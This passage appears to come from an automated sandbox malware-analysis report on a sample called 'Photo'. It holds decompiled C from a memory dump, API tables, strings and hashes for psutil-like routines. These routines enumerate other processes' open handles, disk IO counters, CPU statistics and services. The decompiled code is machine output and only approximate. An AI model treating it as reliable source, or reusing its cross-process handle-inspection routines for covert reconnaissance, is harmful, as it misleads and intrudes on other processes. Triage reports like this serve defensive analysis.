				 *((intOrPtr*)(_t103 + 0x1c)) = 0;
				 *((char*)(_t103 + 0x13)) = 0;
				_t106 =  *0x276d804 - _t91; // 0x0
				if(_t106 == 0) {
					 *0x276d804 = 1;
				}
				_t80 =  *0x27692a4(_t91);
				_t104 = _t103 + 4;
				 *((intOrPtr*)(_t104 + 0x14)) = _t80;
				if(_t80 != _t91) {
					do {
						if(_t91 != 0) {
							HeapFree(GetProcessHeap(), 0, _t91);
						}
						_t94 = _t94 + _t94;
						_t91 = RtlAllocateHeap(GetProcessHeap(), 8, _t94);
						if(_t91 == 0) {
							 *0x27692bc();
							L11:
							 *((char*)(_t104 + 0x13)) = 1;
							L12:
							_t80 =  *((intOrPtr*)(_t104 + 0x14));
							goto L13;
						}
						_t56 = NtQuerySystemInformation(0x40, _t91, _t94, _t104 + 0x28);
					} while (_t56 == 0xc0000004);
					if(_t56 >= 0) {
						 *(_t104 + 0x24) = _t78;
						if( *_t91 <= _t78) {
							goto L12;
						}
						_t18 = _t91 + 0x10; // 0x10
						_t101 = _t18;
						 *(_t104 + 0x20) = _t101;
						L27:
						while(1) {
							if( *((intOrPtr*)(_t101 - 4)) !=  *((intOrPtr*)(_t104 + 0x23c)) || DuplicateHandle( *(_t104 + 0x250),  *_t101, GetCurrentProcess(), _t104 + 0x24, 0, 1, 2) == 0) {
								_t102 =  *(_t104 + 0x1c);
								goto L39;
							} else {
								_t102 = CreateFileMappingA( *(_t104 + 0x18), 0, 2, 0, 0, 0);
								if(_t102 == 0) {
									L39:
									if(_t78 != 0) {
										UnmapViewOfFile(_t78);
									}
									L41:
									_t78 = 0;
									if(_t102 != 0) {
										CloseHandle(_t102);
									}
									_t59 =  *(_t104 + 0x18);
									 *(_t104 + 0x1c) = 0;
									if(_t59 != 0) {
										CloseHandle(_t59);
									}
									 *(_t104 + 0x20) =  &(( *(_t104 + 0x20))[7]);
									_t61 =  *(_t104 + 0x24) + 1;
									 *(_t104 + 0x18) = 0;
									 *(_t104 + 0x24) = _t61;
									if(_t61 <  *_t91) {
										_t101 =  *(_t104 + 0x20);
										continue;
									} else {
										goto L15;
									}
								}
								_t78 = MapViewOfFile(_t102, 4, 0, 0, 1);
								if(_t78 == 0) {
									goto L41;
								}
								_push(0x104);
								_push(_t104 + 0x30);
								_push(_t78);
								_t70 = GetCurrentProcess();
								_push(_t70);
								L027681A2();
								if(_t70 == 0) {
									goto L39;
								}
								 *((short*)(_t104 + 0x34 + _t70 * 2)) = 0;
								_t97 =  *0x276928c(_t104 + 0x30, _t70);
								_t104 = _t104 + 8;
								if(_t97 == 0) {
									L34:
									 *((char*)(_t104 + 0x13)) = 1;
									L35:
									if(_t97 != 0) {
										 *_t97 =  *_t97 + 0xffffffff;
										if( *_t97 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t97 + 4)) + 0x18))))(_t97);
											_t104 = _t104 + 4;
										}
									}
									goto L39;
								}
								_t74 =  *0x2769314( *((intOrPtr*)(_t104 + 0x14)), _t97);
								_t104 = _t104 + 8;
								if(_t74 == 0) {
									goto L35;
								}
								goto L34;
							}
						}
					}
					_push("NtQuerySystemInformation(SystemExtendedHandleInformation)");
					E02767C40(_t56);
					_t104 = _t104 + 8;
					goto L11;
				} else {
					 *((char*)(_t104 + 0x13)) = 1;
					L13:
					_t47 =  *(_t104 + 0x18);
					if(_t47 == 0) {
						L16:
						 *(_t104 + 0x18) = 0;
						if(_t91 != 0) {
							HeapFree(GetProcessHeap(), 0, _t91);
							_t80 =  *((intOrPtr*)(_t104 + 0x14));
						}
						if( *((char*)(_t104 + 0x13)) == 0) {
							return _t80;
						} else {
							if(_t80 != 0) {
								 *_t80 =  *_t80 + 0xffffffff;
								if( *_t80 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t80 + 4)) + 0x18))))(_t80);
								}
							}
							return 0;
						}
					}
					CloseHandle(_t47);
					L15:
					_t80 =  *((intOrPtr*)(_t104 + 0x14));
					goto L16;
				}
			}

0x02766c8a
0x02766c8c
0x02766c8e
0x02766c93
0x02766c97
0x02766c9b
0x02766c9f
0x02766ca4
0x02766caa
0x02766cac
0x02766cac
0x02766cbd
0x02766cbf
0x02766cc2
0x02766cc8
0x02766cd7
0x02766cd9
0x02766ce5
0x02766ce5
0x02766ceb
0x02766cf9
0x02766cfd
0x02766d94
0x02766d2b
0x02766d2b
0x02766d30
0x02766d30
0x00000000
0x02766d30
0x02766d0c
0x02766d12
0x02766d1b
0x02766d9c
0x02766da2
0x00000000
0x00000000
0x02766da4
0x02766da4
0x02766da7
0x00000000
0x02766db4
0x02766dbe
0x02766e88
0x00000000
0x02766df2
0x02766e07
0x02766e0b
0x02766e8c
0x02766e8e
0x02766e91
0x02766e91
0x02766e97
0x02766e97
0x02766e9b
0x02766e9e
0x02766e9e
0x02766ea4
0x02766ea8
0x02766eb2
0x02766eb5
0x02766eb5
0x02766ebf
0x02766ec4
0x02766ec5
0x02766ecd
0x02766ed3
0x02766db0
0x00000000
0x02766ed9
0x00000000
0x02766ed9
0x02766ed3
0x02766e20
0x02766e24
0x00000000
0x00000000
0x02766e26
0x02766e2f
0x02766e30
0x02766e31
0x02766e33
0x02766e34
0x02766e3b
0x00000000
0x00000000
0x02766e45
0x02766e50
0x02766e52
0x02766e57
0x02766e6c
0x02766e6c
0x02766e71
0x02766e73
0x02766e75
0x02766e78
0x02766e81
0x02766e83
0x02766e83
0x02766e78
0x00000000
0x02766e73
0x02766e5f
0x02766e65
0x02766e6a
0x00000000
0x00000000
0x00000000
0x02766e6a
0x02766dbe
0x02766db4
0x02766d1d
0x02766d23
0x02766d28
0x00000000
0x02766cca
0x02766cca
0x02766d34
0x02766d34
0x02766d3a
0x02766d47
0x02766d47
0x02766d51
0x02766d5d
0x02766d63
0x02766d63
0x02766d70
0x02766ee6
0x02766d76
0x02766d78
0x02766d7a
0x02766d7d
0x02766d86
0x02766d88
0x02766d7d
0x02766d93
0x02766d93
0x02766d70
0x02766d3d
0x02766d43
0x02766d43
0x00000000
0x02766d43

APIs

PyList_New.PYTHON27(00000000), ref: 02766CB7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02766CDE
HeapFree.KERNEL32(00000000), ref: 02766CE5
GetProcessHeap.KERNEL32(00000008,00010000), ref: 02766CF0
RtlAllocateHeap.NTDLL(00000000), ref: 02766CF7
NtQuerySystemInformation.NTDLL(00000040,00000000,00010000,?), ref: 02766D0C
CloseHandle.KERNEL32(?), ref: 02766D3D
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02766D56
HeapFree.KERNEL32(00000000), ref: 02766D5D
PyErr_NoMemory.PYTHON27 ref: 02766D94
GetCurrentProcess.KERNEL32(?,00000000,00000001,00000002), ref: 02766DD5
DuplicateHandle.KERNEL32(?,00000000,00000000), ref: 02766DE4
CreateFileMappingA.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 02766E01
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000001), ref: 02766E1A
GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 02766E31
GetMappedFileNameA.PSAPI(00000000), ref: 02766E34
PyUnicodeUCS2_FromWideChar.PYTHON27(?,00000000,00000000), ref: 02766E4A
PyList_Append.PYTHON27(?,00000000), ref: 02766E5F

Strings

NtQuerySystemInformation(SystemExtendedHandleInformation), xrefs: 02766D1D

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Heap$Process$File$CurrentFreeHandleList_$AllocateAppendCharCloseCreateDuplicateErr_FromInformationMappedMappingMemoryNameQuerySystemUnicodeViewWide
String ID: NtQuerySystemInformation(SystemExtendedHandleInformation)
API String ID: 3366806375-3808510385
Opcode ID: 108271948e273aaaf0e2d163f130512fea734a41aeb7dad28f326c2e796e7324
Instruction ID: e98dd99acb2564b9a5157cf90f2d56403d1f0260e9ac75ab659976c5b51269f7
Opcode Fuzzy Hash: 108271948e273aaaf0e2d163f130512fea734a41aeb7dad28f326c2e796e7324
Instruction Fuzzy Hash: 5661B370A44301ABDB24DF65D94CB6B7BECAF84B14F54491CFE4597280DB79D808CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02765650 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 192nativeCOMMON

Download Yara Rule

APIs

PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02765680
PyErr_SetString.PYTHON27(?,GetSystemInfo() failed to retrieve CPU count), ref: 027656B7
PyErr_NoMemory.PYTHON27 ref: 027656E4
NtQuerySystemInformation.NTDLL(00000002,00000000,00000004,00000000), ref: 027656F5
6C423B4E.MSVCR90(?), ref: 027657AD
6C423B4E.MSVCR90(?), ref: 027657BB
6C423B4E.MSVCR90(00000000), ref: 027657C5
6C423B4E.MSVCR90(?), ref: 0276581A
6C423B4E.MSVCR90(?), ref: 02765821
6C423B4E.MSVCR90(00000000), ref: 02765824
Py_BuildValue.PYTHON27(kkkk,?,?,?,?), ref: 02765849

Strings

GetSystemInfo() failed to retrieve CPU count, xrefs: 027656B1
NtQuerySystemInformation(SystemPerformanceInformation), xrefs: 027656FF
kkkk, xrefs: 02765844
NtQuerySystemInformation(SystemInterruptInformation), xrefs: 0276573C
GetActiveProcessorCount() not available; using GetSystemInfo(), xrefs: 02765693
NtQuerySystemInformation(SystemProcessorPerformanceInformation), xrefs: 02765790

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: C423$Err_$BuildFromInformationMemoryQueryStringSystemValueWindows
String ID: GetActiveProcessorCount() not available; using GetSystemInfo()$GetSystemInfo() failed to retrieve CPU count$NtQuerySystemInformation(SystemInterruptInformation)$NtQuerySystemInformation(SystemPerformanceInformation)$NtQuerySystemInformation(SystemProcessorPerformanceInformation)$kkkk
API String ID: 904325048-3520883961
Opcode ID: b269ec3f582455d41fd902d9696f698c6ac952e14d90faa54128f8b4701a1750
Instruction ID: e0c026f5f99d8e07e77bb779e7dfac13215c2838005661b110ab503bce7c4d96
Opcode Fuzzy Hash: b269ec3f582455d41fd902d9696f698c6ac952e14d90faa54128f8b4701a1750
Instruction Fuzzy Hash: E0510A71A44306CFD720DF68DC8DA7B77A9EFC4618F454429ED4AA7200D770E914DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02763F40 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 181
fileCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E02763F40() {
				intOrPtr _t29;
				void* _t38;
				void* _t40;
				intOrPtr* _t43;
				void* _t47;
				void* _t60;
				intOrPtr* _t61;
				intOrPtr _t73;
				void* _t81;
				long _t85;
				intOrPtr* _t86;
				void* _t91;
				intOrPtr* _t94;
				void* _t95;
				void* _t96;

				_t29 =  *0x27692ec();
				 *_t94 = _t29;
				if(_t29 != 0) {
					_t91 = 0;
					do {
						 *0x276920c(_t94 + 0x78, 0x104, "\\\\.\\PhysicalDrive%d", _t91);
						_t94 = _t94 + 0x10;
						_t81 = CreateFileA(_t94 + 0x88, 0, 3, 0, 3, 0, 0);
						if(_t81 == 0xffffffff) {
							goto L18;
						} else {
							_t85 = 0x58;
							_t5 = _t85 - 0x57; // 0x1
							_t60 = _t5;
							if(DeviceIoControl(_t81, 0x70020, 0, 0, _t94 + 0x24, 0x58, _t94 + 0x18, 0) != 0) {
								L8:
								 *0x276920c(_t94 + 0x17c, 0x104, "PhysicalDrive%i", _t91);
								_t73 =  *((intOrPtr*)(_t94 + 0x40));
								_t95 = _t94 + 0x10;
								_t38 = E02768210(_t73,  *((intOrPtr*)(_t94 + 0x44)), 0x989680, 0);
								_t40 = E02768210( *((intOrPtr*)(_t95 + 0x28)),  *((intOrPtr*)(_t95 + 0x34)), 0x989680, 0);
								_t43 =  *0x27692b4("(IILLKK)",  *((intOrPtr*)(_t95 + 0x5c)),  *((intOrPtr*)(_t95 + 0x5c)),  *((intOrPtr*)(_t95 + 0x2c)),  *((intOrPtr*)(_t95 + 0x24)),  *((intOrPtr*)(_t95 + 0x30)),  *((intOrPtr*)(_t95 + 0x30)), _t40, _t73, _t38, _t73);
								_t61 =  *((intOrPtr*)(_t95 + 0x3c));
								_t86 = _t43;
								_t96 = _t95 + 0x2c;
								if(_t86 == 0) {
									goto L24;
								} else {
									_t47 =  *0x2769318(_t61, _t96 + 0x178, _t86);
									_t96 = _t96 + 0xc;
									if(_t47 != 0) {
										 *_t86 =  *_t86 + 0xffffffff;
										if( *_t86 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t86 + 4)) + 0x18))))(_t86);
											goto L23;
										}
										goto L24;
									} else {
										 *_t86 =  *_t86 + 0xffffffff;
										if( *_t86 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t86 + 4)) + 0x18))))(_t86);
											_t94 = _t96 + 4;
										}
										goto L17;
									}
								}
							} else {
								while(GetLastError() == 0x7a) {
									if(_t60 > 0x400) {
										L20:
										 *0x27692b8(0);
										_t61 =  *((intOrPtr*)(_t94 + 0x14));
										L23:
										_t96 = _t96 + 4;
										L24:
										 *_t61 =  *_t61 + 0xffffffff;
										if( *_t61 == 0) {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + 4)) + 0x18))))(_t61);
										}
										if(_t81 != 0) {
											CloseHandle(_t81);
										}
										return 0;
									} else {
										_t85 = _t85 + _t85;
										_t60 = _t60 + 1;
										if(DeviceIoControl(_t81, 0x70020, 0, 0, _t94 + 0x24, _t85, _t94 + 0x18, 0) == 0) {
											continue;
										} else {
											goto L8;
										}
									}
									goto L29;
								}
								if(GetLastError() != 1) {
									if(GetLastError() != 0x32) {
										goto L20;
									} else {
										_push(_t91);
										_push("DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i");
										goto L16;
									}
								} else {
									_push(_t91);
									_push("DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i");
									L16:
									E02761160();
									_t94 = _t94 + 8;
									L17:
									CloseHandle(_t81);
									goto L18;
								}
							}
						}
						goto L29;
						L18:
						_t91 = _t91 + 1;
					} while (_t91 <= 0x20);
					return  *((intOrPtr*)(_t94 + 0x10));
				} else {
					return _t29;
				}
				L29:
			}

0x02763f46
0x02763f4c
0x02763f51
0x02763f5d
0x02763f60
0x02763f70
0x02763f76
0x02763f93
0x02763f98
0x00000000
0x02763f9e
0x02763fa5
0x02763fba
0x02763fba
0x02763fc5
0x02764006
0x02764019
0x02764023
0x02764027
0x02764033
0x0276404b
0x02764075
0x0276407b
0x0276407f
0x02764081
0x02764086
0x00000000
0x0276408c
0x02764096
0x0276409c
0x027640a1
0x0276410e
0x02764111
0x0276411a
0x00000000
0x0276411a
0x00000000
0x027640a3
0x027640a3
0x027640a6
0x027640af
0x027640b1
0x027640b1
0x00000000
0x027640a6
0x027640a1
0x02763fc7
0x02763fc7
0x02763fdc
0x02764100
0x02764102
0x02764108
0x0276411c
0x0276411c
0x0276411f
0x0276411f
0x02764122
0x0276412b
0x0276412d
0x02764132
0x02764135
0x02764135
0x02764147
0x02763fe2
0x02763fe9
0x02763ffb
0x02764004
0x00000000
0x00000000
0x00000000
0x00000000
0x02764004
0x00000000
0x02763fdc
0x027640c1
0x027640d0
0x00000000
0x027640d2
0x027640d2
0x027640d3
0x00000000
0x027640d3
0x027640c3
0x027640c3
0x027640c4
0x027640d8
0x027640d8
0x027640dd
0x027640e0
0x027640e1
0x00000000
0x027640e1
0x027640c1
0x02763fc5
0x00000000
0x027640e7
0x027640e7
0x027640e8
0x027640ff
0x02763f59
0x02763f59
0x02763f59
0x00000000

APIs

PyDict_New.PYTHON27 ref: 02763F46
CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000000,00000000), ref: 02763F8D
DeviceIoControl.KERNEL32(00000000,00070020,00000000,00000000,?,00000058,?,00000000), ref: 02763FBD
GetLastError.KERNEL32 ref: 02763FC7
DeviceIoControl.KERNEL32(00000000,00070020,00000000,00000000,?,00000058,?,00000000), ref: 02763FFC
__aulldiv.LIBCMT ref: 02764033
__aulldiv.LIBCMT ref: 0276404B
Py_BuildValue.PYTHON27((IILLKK),?,?,?,?,00000000,?,00000000,?,?,?,00989680,00000000,00000000,?,?), ref: 02764075

Strings

(IILLKK), xrefs: 02764070
PhysicalDrive%i, xrefs: 02764007
\\.\PhysicalDrive%d, xrefs: 02763F61
DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i, xrefs: 027640D3
DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i, xrefs: 027640C4

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: ControlDevice__aulldiv$BuildCreateDict_ErrorFileLastValue
String ID: (IILLKK)$DeviceIoControl -> ERROR_INVALID_FUNCTION; ignore PhysicalDrive%i$DeviceIoControl -> ERROR_NOT_SUPPORTED; ignore PhysicalDrive%i$PhysicalDrive%i$\\.\PhysicalDrive%d
API String ID: 2026795684-2668205038
Opcode ID: 3f07474664d1835538cd984510aaa4843df98758116f371ea8709065763a01de
Instruction ID: 827e5204fd8f32e736ff9c5b6761d4da5365977c6c39acb83dfecfec37c2defa
Opcode Fuzzy Hash: 3f07474664d1835538cd984510aaa4843df98758116f371ea8709065763a01de
Instruction Fuzzy Hash: FA51E671684300AFE724DB54DC8DFBB77A8EB85B14F108A08FE55E2180D771E915C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02767320 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 234
serviceCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E02767320() {
				intOrPtr _t52;
				void* _t54;
				intOrPtr* _t59;
				intOrPtr _t65;
				intOrPtr* _t74;
				intOrPtr* _t78;
				void* _t79;
				intOrPtr _t81;
				intOrPtr _t88;
				intOrPtr _t89;
				void* _t91;
				char* _t94;
				intOrPtr* _t95;
				intOrPtr* _t96;
				intOrPtr* _t97;
				intOrPtr _t101;
				intOrPtr _t105;
				intOrPtr* _t110;
				intOrPtr* _t114;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr* _t123;
				void* _t125;
				intOrPtr* _t126;
				void* _t127;
				intOrPtr* _t128;
				intOrPtr* _t130;
				void* _t131;
				void* _t132;
				void* _t134;

				_t94 = 0;
				_t126 = 0;
				 *((intOrPtr*)(_t131 + 0x10)) = 0;
				 *((intOrPtr*)(_t131 + 0x18)) = 0;
				 *((intOrPtr*)(_t131 + 0x28)) = 0;
				_t52 =  *0x27692a4(0);
				_t132 = _t131 + 4;
				_t130 = 0;
				 *((intOrPtr*)(_t132 + 0x10)) = _t52;
				 *((intOrPtr*)(_t132 + 0x2c)) = 0;
				if(_t52 == 0) {
					L3:
					return 0;
				} else {
					_t54 = OpenSCManagerA(0, 0, 4);
					 *(_t132 + 0x20) = _t54;
					if(_t54 != 0) {
						_t120 =  *0x2769024;
						_push(0);
						_push(_t132 + 0x2c);
						_push(_t132 + 0x28);
						_push(_t132 + 0x24);
						_push(0);
						_push(0);
						_push(3);
						_push(0x30);
						_push(0);
						_push(_t54);
						if( *_t120() == 0) {
							_t97 =  *0x27691b4; // 0x6c423d3f
							while(GetLastError() == 0xea) {
								if(_t126 != 0) {
									 *0x2769214(_t126);
									_t132 = _t132 + 4;
								}
								_t88 =  *((intOrPtr*)(_t132 + 0x18));
								_t89 =  *_t97(_t88);
								_t132 = _t132 + 4;
								 *((intOrPtr*)(_t132 + 0x30)) = _t89;
								_t91 =  *_t120( *((intOrPtr*)(_t132 + 0x44)), 0, 0x30, 3, _t89, _t88, _t132 + 0x24, _t132 + 0x28, _t132 + 0x2c, 0);
								_t126 =  *((intOrPtr*)(_t132 + 0x10));
								if(_t91 == 0) {
									continue;
								}
								break;
							}
							_t94 = 0;
						}
						 *((intOrPtr*)(_t132 + 0x2c)) = _t94;
						if( *(_t132 + 0x20) <= _t94) {
							L30:
							CloseServiceHandle( *(_t132 + 0x24));
							 *0x2769214(_t126);
							return  *((intOrPtr*)(_t132 + 0x18));
						} else {
							_t122 = _t126;
							 *((intOrPtr*)(_t132 + 0x1c)) = _t122;
							while(1) {
								_t110 =  *_t122;
								_t59 = _t110;
								_t127 = _t59 + 2;
								do {
									_t101 =  *_t59;
									_t59 = _t59 + 2;
								} while (_t101 != 0);
								_t95 =  *0x276928c;
								_t128 =  *_t95(_t110, _t59 - _t127 >> 1);
								_t134 = _t132 + 8;
								if(_t128 == 0) {
									L31:
									_t96 =  *((intOrPtr*)(_t134 + 0x14));
									_t123 =  *((intOrPtr*)(_t134 + 0x30));
									goto L32;
								} else {
									_t114 =  *((intOrPtr*)(_t122 + 4));
									_t74 = _t114;
									_t125 = _t74 + 2;
									do {
										_t105 =  *_t74;
										_t74 = _t74 + 2;
									} while (_t105 != 0);
									_t130 =  *_t95(_t114, _t74 - _t125 >> 1);
									_t134 = _t134 + 8;
									if(_t130 == 0) {
										goto L31;
									} else {
										_t78 =  *0x27692b4("(OO)", _t128, _t130);
										_t96 =  *((intOrPtr*)(_t134 + 0x20));
										_t123 = _t78;
										_t134 = _t134 + 0xc;
										 *((intOrPtr*)(_t134 + 0x30)) = _t123;
										if(_t123 == 0) {
											L32:
											 *_t128 =  *_t128 + 0xffffffff;
											if( *_t128 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t128 + 4)) + 0x18))))(_t128);
												_t134 = _t134 + 4;
											}
											if(_t130 != 0) {
												 *_t130 =  *_t130 + 0xffffffff;
												if( *_t130 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t130 + 4)) + 0x18))))(_t130);
													_t134 = _t134 + 4;
												}
											}
											if(_t123 != 0) {
												 *_t123 =  *_t123 + 0xffffffff;
												if( *_t123 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 + 4)) + 0x18))))(_t123);
													_t134 = _t134 + 4;
												}
											}
											 *_t96 =  *_t96 + 0xffffffff;
											if( *_t96 == 0) {
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 4)) + 0x18))))(_t96);
												_t134 = _t134 + 4;
											}
											CloseServiceHandle( *(_t134 + 0x24));
											_t65 =  *((intOrPtr*)(_t134 + 0x10));
											if(_t65 != 0) {
												 *0x2769214(_t65);
											}
											return 0;
										} else {
											_t79 =  *0x2769314(_t96, _t123);
											_t134 = _t134 + 8;
											if(_t79 != 0) {
												goto L32;
											} else {
												 *_t130 =  *_t130 + 0xffffffff;
												if( *_t130 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t130 + 4)) + 0x18))))(_t130);
													_t134 = _t134 + 4;
												}
												 *_t128 =  *_t128 + 0xffffffff;
												if( *_t128 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t128 + 4)) + 0x18))))(_t128);
													_t134 = _t134 + 4;
												}
												 *_t123 =  *_t123 + 0xffffffff;
												if( *_t123 == 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t123 + 4)) + 0x18))))(_t123);
													_t134 = _t134 + 4;
												}
												 *((intOrPtr*)(_t134 + 0x1c)) =  *((intOrPtr*)(_t134 + 0x1c)) + 0x2c;
												_t81 =  *((intOrPtr*)(_t134 + 0x2c)) + 1;
												 *((intOrPtr*)(_t134 + 0x2c)) = _t81;
												if(_t81 <  *((intOrPtr*)(_t134 + 0x20))) {
													_t122 =  *((intOrPtr*)(_t134 + 0x1c));
													continue;
												} else {
													_t126 =  *((intOrPtr*)(_t134 + 0x10));
													goto L30;
												}
											}
										}
									}
								}
								goto L45;
							}
						}
					} else {
						E02761090("OpenSCManager");
						goto L3;
					}
				}
				L45:
			}

0x02767325
0x02767328
0x0276732b
0x0276732f
0x02767333
0x02767337
0x0276733d
0x02767340
0x02767342
0x02767346
0x0276734c
0x0276736f
0x02767375
0x0276734e
0x02767352
0x02767358
0x0276735e
0x02767377
0x0276737d
0x02767382
0x02767387
0x0276738c
0x0276738d
0x0276738e
0x0276738f
0x02767391
0x02767393
0x02767394
0x02767399
0x0276739b
0x027673a1
0x027673b0
0x027673b3
0x027673b9
0x027673b9
0x027673bc
0x027673c3
0x027673c5
0x027673df
0x027673ea
0x027673ec
0x027673f2
0x00000000
0x00000000
0x00000000
0x027673f2
0x027673f4
0x027673f4
0x027673f6
0x027673fe
0x027674f1
0x027674f6
0x027674fd
0x02767511
0x02767404
0x02767404
0x02767406
0x02767414
0x02767414
0x02767416
0x02767418
0x02767420
0x02767420
0x02767423
0x02767426
0x0276742b
0x02767439
0x0276743b
0x02767440
0x02767512
0x02767512
0x02767516
0x00000000
0x02767446
0x02767446
0x02767449
0x0276744b
0x02767450
0x02767450
0x02767453
0x02767456
0x02767463
0x02767465
0x0276746a
0x00000000
0x02767470
0x02767477
0x0276747d
0x02767481
0x02767483
0x02767486
0x0276748c
0x0276751a
0x0276751a
0x0276751d
0x02767526
0x02767528
0x02767528
0x0276752d
0x0276752f
0x02767533
0x0276753c
0x0276753e
0x0276753e
0x02767533
0x02767543
0x02767545
0x02767548
0x02767551
0x02767553
0x02767553
0x02767548
0x02767556
0x02767559
0x02767562
0x02767564
0x02767564
0x0276756c
0x02767572
0x02767578
0x0276757b
0x02767581
0x0276758d
0x02767492
0x02767494
0x0276749a
0x0276749f
0x00000000
0x027674a1
0x027674a1
0x027674a5
0x027674ae
0x027674b0
0x027674b0
0x027674b3
0x027674b6
0x027674bf
0x027674c1
0x027674c1
0x027674c4
0x027674c7
0x027674d0
0x027674d2
0x027674d2
0x027674d9
0x027674de
0x027674df
0x027674e7
0x02767410
0x00000000
0x027674ed
0x027674ed
0x00000000
0x027674ed
0x027674e7
0x0276749f
0x0276748c
0x0276746a
0x00000000
0x02767440
0x02767414
0x02767360
0x02767365
0x00000000
0x0276736a
0x0276735e
0x00000000

APIs

PyList_New.PYTHON27(00000000), ref: 02767337
OpenSCManagerA.ADVAPI32(00000000,00000000,00000004), ref: 02767352
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,00000000,00000000,?,?,?,00000000), ref: 02767395
GetLastError.KERNEL32 ref: 027673A1
6C423B4E.MSVCR90(00000000), ref: 027673B3
EnumServicesStatusExW.ADVAPI32(?,00000000,00000030,00000003,00000000,?,?,?,?,00000000), ref: 027673EA
PyUnicodeUCS2_FromWideChar.PYTHON27 ref: 02767437
PyUnicodeUCS2_FromWideChar.PYTHON27(?,?), ref: 02767461
Py_BuildValue.PYTHON27((OO),00000000,00000000), ref: 02767477

Part of subcall function 02761090: GetLastError.KERNEL32 ref: 027610B2
Part of subcall function 02761090: PyErr_SetFromWindowsErrWithFilename.PYTHON27(00000000), ref: 027610B9

Strings

N;Bl, xrefs: 027673B3, 027674FD, 0276757B
,, xrefs: 027674D9
(OO), xrefs: 02767472
OpenSCManager, xrefs: 02767360

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: From$CharEnumErrorLastServicesStatusUnicodeWide$BuildC423Err_FilenameList_ManagerOpenValueWindowsWith
String ID: (OO)$,$N;Bl$OpenSCManager
API String ID: 2366057395-657302090
Opcode ID: 185479a4822ade4c8aa506718eeb9cd72dde14efd053b4ad12b864521605a0dd
Instruction ID: c6380784f2b048c61ca7b02f3d4125966dd6b752e581ae448bb21cdc66deb920
